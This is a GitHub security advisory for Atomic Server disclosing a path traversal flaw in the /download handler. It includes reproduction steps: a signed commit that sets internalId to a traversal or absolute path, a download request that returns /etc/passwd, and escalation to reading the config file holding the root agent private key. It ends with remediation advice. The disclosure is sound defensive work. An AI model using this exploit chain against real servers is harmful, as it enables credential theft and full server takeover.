ontola/atomic-server · Security
Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)
- GHSA ID
- GHSA-8vc4-8hjq-988p
- CVE ID
- CVE-2026-69156
- Severity
- high
- Published
- Updated
- CVSS
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- CVSS v3
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Description
Summary
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
Affected component
server/src/handlers/download.rs:56-65—file_path.push(internal_id)+NamedFile::open, no sanitization, noFile-class check.lib/src/commit.rs(apply_changes) — sets any property; no server-managed-property denylist.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
- Create a resource and set
internalIdto a traversal path — sign the Commit andPOST /commit(200):
subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
- Download it. The auth signature is over the resolved subject (the server strips the
/downloadprefix →http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
- Escalate — set
internalId = /atomic-storage/config/config.toml(absolute path) and download again:
server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
- Using the stolen key, the attacker signs a Commit with
signer = <root agent>→POST /commit(200) edits data as root. Full compromise.
Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Impact
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
Remediation
- In
download.rs:sanitize_filename(internal_id), thencanonicalizeand assert the resolved path stays withinuploads_pathbefore opening; verify the resource is aFile. - Add a server-managed-property denylist (
internalId, rights arrays, etc.) inlib/src/commit.rsso clients cannot set them.
CWEs
- CWE-22 · Improper Limitation of a Pathname to a Restricted Directory
References
- https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p ↗
- https://nvd.nist.gov/vuln/detail/CVE-2026-69156 ↗
- https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61 ↗
- https://github.com/ontola/atomic-server/releases/tag/v0.40.3 ↗
- https://github.com/advisories/GHSA-8vc4-8hjq-988p ↗